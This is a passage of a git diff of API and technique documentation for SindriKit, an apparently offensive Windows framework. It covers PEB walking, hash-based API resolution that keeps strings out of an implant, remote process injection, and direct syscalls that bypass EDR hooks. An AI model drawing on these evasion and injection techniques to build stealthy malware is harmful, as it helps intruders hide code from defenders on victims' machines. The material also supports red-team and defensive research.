**Status codes:** `SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `get_module_base` / `get_module_base_hash`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `module_name` / `module_hash` | Wide module name or compile-time hash |
|
||||||
|
| `out_base` | Receives the module base address |
|
||||||
|
|
||||||
|
Does not load the module — returns a not-found status if the module is not in the PEB list.
|
||||||
|
|
||||||
|
**Status codes (`snd_mod_nt`):** `SND_STATUS_PEB_MODULE_NOT_FOUND`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
**Status codes (`snd_mod_win` `get_module_base`):** `SND_STATUS_MODULE_NOT_FOUND`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## PEB Walking (`sindri/primitives/peb.h`)
|
## Related Parsers (`sindri/parsers/env/peb.h`)
|
||||||
|
|
||||||
### `snd_peb_get_module_base`
|
PEB walking primitives used by `snd_mod_nt` are documented under the parsers domain:
|
||||||
|
|
||||||
Locates a loaded module's base address by walking `PEB->Ldr->InMemoryOrderModuleList` and comparing `BaseDllName` case-insensitively.
|
- `snd_peb_get_module_base` — wide-name PEB walk
|
||||||
|
- `snd_peb_get_module_base_hash` — hash-based PEB walk
|
||||||
|
- `snd_peb_get_local` — inline accessor for the current process PEB
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Export parsing (`snd_pe_get_export_address`, `snd_pe_get_export_address_hash`) lives in `sindri/parsers/pe/exports.h`. Both functions share the same forwarder resolver type (`snd_module_resolver_cb`); `snd_peb_get_module_base` is the typical wiring.
|
||||||
|---|---|---|
|
|
||||||
| `module_name` | `const wchar_t*` | Case-insensitive target module name (e.g., `L"ntdll.dll"`) |
|
|
||||||
| `out_base` | `PVOID*` | Receives the base address of the located module |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_peb_get_module_base_by_hash`
|
## Dependency Injection
|
||||||
|
|
||||||
Hash-based variant. Eliminates the plaintext module name string from the binary entirely.
|
Module backends are injected into loader contexts at initialization:
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
```c
|
||||||
|---|---|---|
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
| `module_hash` | `DWORD` | Pre-computed hash of the target module name |
|
ctx.mod_api = &snd_mod_nt; // or &snd_mod_win
|
||||||
| `out_base` | `PVOID*` | Receives the base address of the located module |
|
```
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success.
|
The reflective loader and `snd_pe_resolve_imports` call `ctx.mod_api` throughout the import fixup pipeline. See [Dependency Injection](../../../architecture/dependency_injection.md).
|
||||||
|
|||||||
@@ -1,29 +0,0 @@
|
|||||||
# PEB Walking
|
|
||||||
|
|
||||||
The modules subdomain provides mechanisms for interacting with the loaded DLLs of a process. The primary challenge in offensive tooling is resolving module base addresses and exported functions without relying on highly monitored APIs like `GetModuleHandle` or `GetProcAddress`.
|
|
||||||
|
|
||||||
## Traversing the PEB
|
|
||||||
|
|
||||||
The Process Environment Block (PEB) is a userland structure containing extensive process information, including the lists of all currently loaded DLLs. It is accessible without invoking any Win32 or NT API calls.
|
|
||||||
|
|
||||||
- **x64:** Accessed via the `gs` segment register at offset `0x60`
|
|
||||||
- **x86:** Accessed via the `fs` segment register at offset `0x30`
|
|
||||||
|
|
||||||
### The Loaded Module Lists
|
|
||||||
|
|
||||||
Within the PEB, `PEB->Ldr` points to a `PEB_LDR_DATA` structure. This structure contains three doubly-linked lists of `LDR_DATA_TABLE_ENTRY` nodes:
|
|
||||||
1. `InLoadOrderModuleList`
|
|
||||||
2. `InMemoryOrderModuleList`
|
|
||||||
3. `InInitializationOrderModuleList`
|
|
||||||
|
|
||||||
SindriKit traverses the `InMemoryOrderModuleList`. By iterating through these nodes, the framework inspects the `BaseDllName` field of each loaded module.
|
|
||||||
|
|
||||||
## Resolution Methods
|
|
||||||
|
|
||||||
### String Comparison
|
|
||||||
The framework provides `snd_peb_get_module_base` to perform a case-insensitive, wide-string comparison against the `BaseDllName` (e.g., matching `L"ntdll.dll"`).
|
|
||||||
|
|
||||||
### Hash Comparison
|
|
||||||
For superior OpSec, `snd_peb_get_module_base_by_hash` computes a runtime hash of each module's name and compares it against a compile-time hash. This completely eliminates plaintext module strings (like `ntdll.dll` or `kernel32.dll`) from the implant's `.rdata` section.
|
|
||||||
|
|
||||||
**Reference:** [Finding kernel32 base and function addresses in shellcode](https://www.ired.team/offensive-security/defense-evasion/finding-kernel32-base-and-function-addresses-in-shellcode)
|
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
# Module Techniques
|
||||||
|
|
||||||
|
The modules subdomain defines how SindriKit loads DLLs and resolves exported functions in the **local** process. Reflective loaders and PE import fixups call `ctx->mod_api` rather than invoking `LoadLibraryA` or `GetProcAddress` directly.
|
||||||
|
|
||||||
|
## Paradigm 1: Win32 Resolution (`snd_mod_win`)
|
||||||
|
|
||||||
|
The `snd_mod_win` implementation uses standard Win32 APIs:
|
||||||
|
|
||||||
|
- **Load:** `LoadLibraryExA` with `LOAD_LIBRARY_SEARCH_DEFAULT_DIRS` (and `LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR` when available), falling back to `LoadLibraryA`
|
||||||
|
- **Export lookup:** `GetProcAddress`
|
||||||
|
- **Module base:** `GetModuleHandleW`
|
||||||
|
|
||||||
|
Only the three string-based callbacks are populated. Hash-based fields (`get_proc_address_hash`, `get_module_base_hash`) are `NULL` — callers must not invoke them on this backend.
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Every operation routes through monitored userland APIs and may leave plaintext DLL or function name strings in the binary. Suitable for diagnostics and standard profiles only.
|
||||||
|
|
||||||
|
## Paradigm 2: NT / PEB Resolution (`snd_mod_nt`)
|
||||||
|
|
||||||
|
The `snd_mod_nt` implementation avoids `kernel32.dll` import resolution APIs:
|
||||||
|
|
||||||
|
- **Load:** Checks the PEB module list first via `snd_peb_get_module_base`; if not loaded, resolves and calls `LdrLoadDll` from `ntdll.dll` via hash-based EAT parsing
|
||||||
|
- **Export lookup (string):** `snd_pe_get_export_address` with a PEB-walking module resolver callback
|
||||||
|
- **Export lookup (hash):** `snd_pe_get_export_address_hash`
|
||||||
|
- **Module base (string):** `snd_peb_get_module_base` (from `sindri/parsers/env/peb.h`)
|
||||||
|
- **Module base (hash):** `snd_peb_get_module_base_hash`
|
||||||
|
|
||||||
|
All five function pointer slots in `snd_module_api_t` are populated on this backend.
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Bypasses `GetProcAddress`, `GetModuleHandle`, and `LoadLibrary` telemetry. Hash-based resolution eliminates plaintext API and module name strings from the binary. Calls to `LdrLoadDll` and resolved NT exports still pass through in-process `ntdll.dll` stubs where inline hooks may exist.
|
||||||
|
|
||||||
|
This is the standard choice for stealth loader profiles (`snd_mod_nt` paired with `snd_mem_sys`).
|
||||||
|
|
||||||
|
## PEB Walking (`parsers/env`)
|
||||||
|
|
||||||
|
Low-level PEB traversal lives in the parsers domain, not in the modules primitive itself:
|
||||||
|
|
||||||
|
| Function | Header | Purpose |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_peb_get_module_base` | `sindri/parsers/env/peb.h` | Locate a loaded module by wide name |
|
||||||
|
| `snd_peb_get_module_base_hash` | `sindri/parsers/env/peb.h` | Locate a loaded module by compile-time hash |
|
||||||
|
| `snd_pe_get_export_address` | `sindri/parsers/pe/exports.h` | Resolve an export by name (forwarders use `snd_module_resolver_cb`) |
|
||||||
|
| `snd_pe_get_export_address_hash` | `sindri/parsers/pe/exports.h` | Resolve an export by compile-time hash (same forwarder resolver) |
|
||||||
|
|
||||||
|
The `snd_mod_nt` backend wires these parsers into the `snd_module_api_t` contract so higher-level domains (loaders, import fixups) remain agnostic to the resolution mechanism.
|
||||||
|
|
||||||
|
## No Syscall Backend
|
||||||
|
|
||||||
|
Module resolution does not have a `_sys` variant. Loading and EAT parsing are inherently userland operations; the evasion benefit comes from PEB walking and hash-based parsing rather than direct syscalls.
|
||||||
|
|
||||||
|
## Mixing Backends
|
||||||
|
|
||||||
|
A common pattern injects `snd_mod_nt` for import resolution while using `snd_mem_sys` for memory operations:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.mem_api = &snd_mem_sys;
|
||||||
|
ctx.mod_api = &snd_mod_nt;
|
||||||
|
```
|
||||||
|
|
||||||
|
Import fixup (`snd_pe_resolve_imports`) requires a fully populated module API with working `load_library` and `get_proc_address` (or hash equivalents).
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
# Process Primitives
|
||||||
|
|
||||||
|
**Remote** process interaction: open target, allocate/write/protect remote memory, create a remote thread. Operations route through an injected `snd_process_api_t` table.
|
||||||
|
|
||||||
|
Primary consumer: injection domain (`snd_inj_ctx_t.proc_api`).
|
||||||
|
|
||||||
|
> [!CAUTION]
|
||||||
|
> **OpSec:** `snd_proc_win` routes cross-process operations through monitored Win32 APIs. Prefer `snd_proc_sys` or `snd_proc_nt` for evasive deployments.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/primitives/process.h` | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
|
||||||
|
| `sindri/primitives/os_api.h` | `snd_process_api_t` callback typedefs |
|
||||||
|
|
||||||
|
## Source map
|
||||||
|
|
||||||
|
| Source | Backend |
|
||||||
|
|---|---|
|
||||||
|
| `src/primitives/process/win.c` | `snd_proc_win` |
|
||||||
|
| `src/primitives/process/nt.c` | `snd_proc_nt` |
|
||||||
|
| `src/primitives/process/sys.c` | `snd_proc_sys` |
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [techniques.md](techniques.md) — Win32 vs NT vs syscall paradigms, injection integration
|
||||||
|
- [api_reference.md](api_reference.md) — `snd_process_api_t` and instances
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Injection domain](../../injection/README.md)
|
||||||
|
- [Syscalls](../syscalls/README.md) — bootstrap for `snd_proc_sys`
|
||||||
|
- [Primitives domain](../README.md)
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
# Process: API Reference
|
||||||
|
|
||||||
|
This page documents the remote process capabilities exported by the framework. Type definitions live in `include/sindri/primitives/os_api.h`; pre-built instances are declared in `include/sindri/primitives/process.h`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Process API Instances (`sindri/primitives/process.h`)
|
||||||
|
|
||||||
|
Three pre-built instances of the `snd_process_api_t` interface are exported globally. These pointers are typically assigned to `ctx.proc_api` during injection initialization.
|
||||||
|
|
||||||
|
| Symbol | Backend | Source |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_proc_win` | Win32 API (`OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, `VirtualProtectEx`, `CreateRemoteThread`, `CloseHandle`) | `src/primitives/process/win.c` |
|
||||||
|
| `snd_proc_nt` | NT API via PEB + EAT resolution (`NtOpenProcess`, `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`, `NtClose`) | `src/primitives/process/nt.c` |
|
||||||
|
| `snd_proc_sys` | Direct syscalls via SSN resolution + ASM stub | `src/primitives/process/sys.c` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The Interface (`sindri/primitives/os_api.h`)
|
||||||
|
|
||||||
|
### `snd_process_api_t`
|
||||||
|
|
||||||
|
Function pointer table defining the remote process operations contract.
|
||||||
|
|
||||||
|
| Field | Signature | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `open_process` | `snd_status_t (*)(DWORD pid, DWORD desired_access, HANDLE *out_process)` | Opens a handle to the target process |
|
||||||
|
| `alloc_remote` | `snd_status_t (*)(HANDLE process, SIZE_T size, DWORD alloc_type, DWORD protect, PVOID *out_address)` | Allocates memory in the remote process |
|
||||||
|
| `write_remote` | `snd_status_t (*)(HANDLE process, PVOID base, const void *buffer, SIZE_T size, SIZE_T *bytes_written)` | Writes data into the remote process |
|
||||||
|
| `protect_remote` | `snd_status_t (*)(HANDLE process, PVOID base, SIZE_T size, DWORD new_protect, DWORD *old_protect)` | Changes memory protections in the remote process |
|
||||||
|
| `create_remote_thread` | `snd_status_t (*)(HANDLE process, PVOID start, PVOID param, HANDLE *out_thread)` | Creates a thread in the remote process |
|
||||||
|
| `close_handle` | `snd_status_t (*)(HANDLE handle)` | Closes a handle |
|
||||||
|
|
||||||
|
#### `open_process`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `pid` | Target process ID |
|
||||||
|
| `desired_access` | Access mask (e.g. `PROCESS_ALL_ACCESS` or specific flags) |
|
||||||
|
| `out_process` | Receives the process handle on success |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_PROCESS_OPEN_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `alloc_remote`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `process` | Handle to the target process |
|
||||||
|
| `size` | Number of bytes to allocate |
|
||||||
|
| `alloc_type` | Win32 allocation flags (`MEM_COMMIT`, `MEM_RESERVE`) |
|
||||||
|
| `protect` | Initial page protection |
|
||||||
|
| `out_address` | Receives the remote base address on success |
|
||||||
|
|
||||||
|
All backends allocate at an OS-chosen base (`NULL` hint). The Win32 backend uses `VirtualAllocEx`; NT and syscall backends use `NtAllocateVirtualMemory`.
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_VIRTUAL_ALLOC_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `write_remote`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `process` | Handle to the target process |
|
||||||
|
| `base_address` | Remote destination address |
|
||||||
|
| `buffer` | Local source buffer |
|
||||||
|
| `size` | Number of bytes to write |
|
||||||
|
| `bytes_written` | Optional; receives the number of bytes actually written |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_VIRTUAL_WRITE_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `protect_remote`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `process` | Handle to the target process |
|
||||||
|
| `base_address` | Remote base address |
|
||||||
|
| `size` | Region size |
|
||||||
|
| `new_protect` | Desired page protection |
|
||||||
|
| `old_protect` | Optional; receives the previous protection |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_VIRTUAL_PROTECT_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `create_remote_thread`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `process` | Handle to the target process |
|
||||||
|
| `start_address` | Remote thread entry point |
|
||||||
|
| `parameter` | Argument passed to the entry point |
|
||||||
|
| `out_thread` | Receives the thread handle on success |
|
||||||
|
|
||||||
|
NT and syscall backends use `NtCreateThreadEx` with `THREAD_ALL_ACCESS` (`0x1FFFFF`). The Win32 backend uses `CreateRemoteThread`.
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_THREAD_CREATE_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `close_handle`
|
||||||
|
|
||||||
|
Closes a process or thread handle. The NT backend treats a `NULL` handle as success.
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_HANDLE_CLOSE_FAILED`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Injection Context (`sindri/injection/context.h`)
|
||||||
|
|
||||||
|
Process backends are injected into the injection context:
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef struct _snd_inj_ctx_t {
|
||||||
|
DWORD target_pid;
|
||||||
|
HANDLE target_process;
|
||||||
|
PVOID remote_base;
|
||||||
|
PVOID remote_entry_point;
|
||||||
|
SIZE_T remote_size;
|
||||||
|
HANDLE remote_thread;
|
||||||
|
snd_inj_stage_t stage;
|
||||||
|
const snd_buffer_t *payload;
|
||||||
|
const snd_process_api_t *proc_api;
|
||||||
|
} snd_inj_ctx_t;
|
||||||
|
```
|
||||||
|
|
||||||
|
Call `snd_inj_cleanup(&ctx)` to close handles and reset state after an injection attempt.
|
||||||
|
|
||||||
|
See the [Injection Domain](../../injection/README.md) for the full stage machine and chain orchestration.
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
# Process Techniques
|
||||||
|
|
||||||
|
The process subdomain defines how SindriKit interacts with a **remote** target process. The injection engine never calls `OpenProcess` or `WriteProcessMemory` directly; it routes all cross-process operations through `ctx->proc_api`.
|
||||||
|
|
||||||
|
## Paradigm 1: Win32 Process Operations (`snd_proc_win`)
|
||||||
|
|
||||||
|
The `snd_proc_win` implementation backs the process interface with standard Win32 APIs:
|
||||||
|
|
||||||
|
- **Open:** `OpenProcess`
|
||||||
|
- **Remote alloc:** `VirtualAllocEx`
|
||||||
|
- **Remote write:** `WriteProcessMemory`
|
||||||
|
- **Remote protect:** `VirtualProtectEx`
|
||||||
|
- **Remote thread:** `CreateRemoteThread`
|
||||||
|
- **Close:** `CloseHandle`
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Every operation generates high-visibility telemetry through `kernel32.dll` and hooked `ntdll.dll` stubs. Intended for diagnostics (`pocs/inject_shell/main.c` uses this profile) or environments without EDR.
|
||||||
|
|
||||||
|
## Paradigm 2: NT API (`snd_proc_nt`)
|
||||||
|
|
||||||
|
The `snd_proc_nt` implementation resolves NT functions from `ntdll.dll` via PEB walking and hash-based EAT parsing:
|
||||||
|
|
||||||
|
- **Open:** `NtOpenProcess`
|
||||||
|
- **Remote alloc:** `NtAllocateVirtualMemory`
|
||||||
|
- **Remote write:** `NtWriteVirtualMemory`
|
||||||
|
- **Remote protect:** `NtProtectVirtualMemory`
|
||||||
|
- **Remote thread:** `NtCreateThreadEx` (with `THREAD_ALL_ACCESS` / `0x1FFFFF`)
|
||||||
|
- **Close:** `NtClose`
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Bypasses `kernel32.dll` and avoids plaintext API strings. Calls still execute through in-process `ntdll.dll` stubs where inline EDR hooks may fire.
|
||||||
|
|
||||||
|
## Paradigm 3: Direct Syscalls (`snd_proc_sys`)
|
||||||
|
|
||||||
|
The `snd_proc_sys` implementation invokes the same NT operations through the syscall resolution pipeline and ASM stubs:
|
||||||
|
|
||||||
|
- **Open / Alloc / Write / Protect / Thread / Close:** Direct syscalls resolved by compile-time function hashes
|
||||||
|
|
||||||
|
Remote thread creation uses `NtCreateThreadEx` with the same access mask (`0x1FFFFF`) as the NT backend.
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation.
|
||||||
|
|
||||||
|
## Injection Integration
|
||||||
|
|
||||||
|
The classic injection chain injects a process backend into `snd_inj_ctx_t`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_inj_ctx_t inj_ctx = {0};
|
||||||
|
inj_ctx.target_pid = target_pid;
|
||||||
|
inj_ctx.proc_api = &snd_proc_sys;
|
||||||
|
|
||||||
|
snd_status_t status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx);
|
||||||
|
snd_inj_cleanup(&inj_ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
The injection engine progresses through discrete stages (`SND_INJ_STAGE_*`), calling `proc_api` callbacks at each step:
|
||||||
|
|
||||||
|
1. `open_process` — acquire a handle to `target_pid`
|
||||||
|
2. `alloc_remote` — reserve/commit memory in the remote process
|
||||||
|
3. `write_remote` — copy the prepared payload
|
||||||
|
4. `protect_remote` — set final page protections (e.g. `PAGE_EXECUTE_READ`)
|
||||||
|
5. `create_remote_thread` — execute the entry point
|
||||||
|
6. `close_handle` — release process and thread handles via `snd_inj_cleanup`
|
||||||
|
|
||||||
|
A typical full-stealth profile (`pocs/inject_pe/main.c`):
|
||||||
|
|
||||||
|
1. Map clean `ntdll.dll` from KnownDlls (`snd_om_knowndll_map` + `snd_map_nt`)
|
||||||
|
2. Bootstrap syscalls with the mapped base
|
||||||
|
3. Load payload locally with `snd_mem_sys` + `snd_mod_nt`
|
||||||
|
4. Inject remotely with `snd_proc_sys`
|
||||||
|
|
||||||
|
## Mixing Backends
|
||||||
|
|
||||||
|
Process backends are independent of memory and module backends. The local loader can use `snd_mem_sys` while injection uses `snd_proc_win`, or any other combination — each `snd_*_api_t` table is injected separately.
|
||||||
@@ -1,14 +1,51 @@
|
|||||||
# Syscall Primitives
|
# Syscall Primitives
|
||||||
|
|
||||||
This directory details SindriKit's advanced system for extracting System Service Numbers (SSNs) and bypassing inline userland EDR hooks.
|
Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs.
|
||||||
|
|
||||||
|
**Header:** `include/sindri/primitives/syscalls.h`
|
||||||
|
**Implementation:** `src/primitives/execution/syscalls/`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **Initialization Constraint:** The syscall pipeline requires setting up the NTDLL base address. `snd_set_ntdll()` must be called prior to invoking any resolution function.
|
> **Bootstrap required:** Call `snd_syscall_set_ntdll()` and configure at least one strategy via `snd_syscall_strategy_set()` before `snd_syscall_resolve()`. `_sys` memory/process/mapping backends depend on this pipeline.
|
||||||
|
|
||||||
|
## How `_sys` primitives use syscalls
|
||||||
|
|
||||||
|
```
|
||||||
|
snd_mem_sys / snd_proc_sys / snd_map_sys
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
snd_syscall_resolve(func_hash) ← cascading strategy chain
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
snd_syscall_invoke_asm(&args) ← x64/x86 ASM stub
|
||||||
|
```
|
||||||
|
|
||||||
|
Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`).
|
||||||
|
|
||||||
|
## Resolution strategies
|
||||||
|
|
||||||
|
| Function | Source | Approach |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked |
|
||||||
|
| `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN |
|
||||||
|
|
||||||
|
Typical registration — scan first, sort as fallback:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
```
|
||||||
|
|
||||||
|
Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies).
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [pipeline.md](pipeline.md)
|
|
||||||
Explains the cascading fallback mechanism used to evaluate multiple SSN resolution strategies sequentially.
|
- [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition
|
||||||
- [gates.md](gates.md)
|
- [engines.md](engines.md) — scan vs sort resolver internals
|
||||||
Provides technical breakdowns of the Hell's, Halo's, Tartarus', and VelesReek extraction techniques.
|
- [api_reference.md](api_reference.md) — full public API
|
||||||
- [api_reference.md](api_reference.md)
|
|
||||||
Public API documentation for syscall resolvers, pipeline configuration, and the generic ASM invocation stub.
|
## Related documentation
|
||||||
|
|
||||||
|
- [Execution domain](../execution/README.md) — shared `src/primitives/execution/` layout
|
||||||
|
- [Mapping](../mapping/README.md) — KnownDlls bootstrap for clean `ntdll`
|
||||||
|
- [Primitives domain](../README.md)
|
||||||
|
|||||||
@@ -1,109 +1,165 @@
|
|||||||
# Syscalls: API Reference
|
# Syscalls: API Reference
|
||||||
|
|
||||||
This page documents the public API surface for System Service Number (SSN) resolution and direct syscall execution. All definitions reside in `include/sindri/primitives/syscalls.h`.
|
Public API in `include/sindri/primitives/syscalls.h`. Implementation: `src/primitives/execution/syscalls/`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Constants
|
||||||
|
|
||||||
|
| Macro | Value | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_MAX_SYSCALLS` | `500` | Max cached exports in sort resolver |
|
||||||
|
| `SND_MAX_SYS_NAME_LEN` | `256` | Max normalized export name length |
|
||||||
|
|
||||||
|
Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `syscalls.c`).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Core Data Structures
|
## Core Data Structures
|
||||||
|
|
||||||
### `snd_syscall_entry_t`
|
### `snd_syscall_entry_t`
|
||||||
Structure holding the successfully resolved context of a target syscall.
|
|
||||||
|
|
||||||
| Field | Type | Description |
|
| Field | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `pAddress` | `PVOID` | Pointer to the original stub address in memory |
|
| `pAddress` | `PVOID` | Stub address (populated by scan resolver) |
|
||||||
| `dwHash` | `DWORD` | The compile-time hash of the target NT function |
|
| `dwHash` | `DWORD` | Target function hash |
|
||||||
| `wSystemCall` | `WORD` | The resolved System Service Number (SSN) |
|
| `wSystemCall` | `WORD` | Resolved SSN |
|
||||||
|
|
||||||
### `snd_syscall_args_t`
|
|
||||||
Arguments structure passed to the generic ASM syscall invoker.
|
|
||||||
|
|
||||||
| Field | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ssn` | `WORD` | System Service Number to place in the `EAX`/`RAX` register |
|
|
||||||
| `arg1`–`arg10` | `PVOID` | Up to 10 arguments forwarded to the kernel |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Resolvers & Pipeline Configuration
|
|
||||||
|
|
||||||
### `snd_syscall_resolver_t`
|
|
||||||
Function pointer signature for SSN resolution strategies. Any custom gate can be plugged into the framework if it matches this signature.
|
|
||||||
|
|
||||||
```c
|
|
||||||
typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Built-in Resolvers
|
|
||||||
- `snd_hell_extract_syscall`: Standard Hell's Gate
|
|
||||||
- `snd_halo_extract_syscall`: Standard Halo's Gate (`0xE9` hook evasion)
|
|
||||||
- `snd_tartarus_extract_syscall`: Tartarus' Gate (`0xEB` hook evasion)
|
|
||||||
- `snd_veles_extract_syscall`: VelesReek (`syscall` instruction anchor)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_set_syscall_strategy`
|
|
||||||
Sets the primary resolution strategy and **resets** the entire fallback chain to a single entry.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `resolver` | `snd_syscall_resolver_t` | The resolver function to use as the primary strategy |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_add_syscall_strategy`
|
|
||||||
Appends a fallback strategy to the resolution pipeline. The pipeline is evaluated in registration order. Maximum depth: 4 strategies.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `resolver` | `snd_syscall_resolver_t` | The fallback resolver function to append |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_SSN_BUFFER_TOO_SMALL` if the chain is full.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### NTDLL Base Address
|
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The `ntdll.dll` base address is managed globally via `snd_set_ntdll` and `snd_get_ntdll`. You MUST set the global base before attempting to resolve syscalls.
|
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
|
||||||
|
|
||||||
|
### `snd_syscall_args_t`
|
||||||
|
|
||||||
|
Arguments for `snd_syscall_invoke_asm`. On x64, `arg1` is moved to `R10` per the syscall convention; `arg2`–`arg4` use `RDX`/`R8`/`R9`; `arg5`–`arg11` are stack arguments.
|
||||||
|
|
||||||
|
| Field | Type | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
|
||||||
|
| `arg1`–`arg11` | `PVOID` | Syscall arguments |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Execution
|
## Pipeline Configuration
|
||||||
|
|
||||||
### `snd_resolve_syscall`
|
### `snd_syscall_resolver_t`
|
||||||
Attempts to resolve a System Service Number (SSN) by running the configured strategy pipeline in order. Returns on the first successful result.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
```c
|
||||||
|---|---|---|
|
typedef snd_status_t (*snd_syscall_resolver_t)(
|
||||||
| `func_hash` | `DWORD` | Compile-time hash of the target NT function name |
|
PVOID ntdll_base,
|
||||||
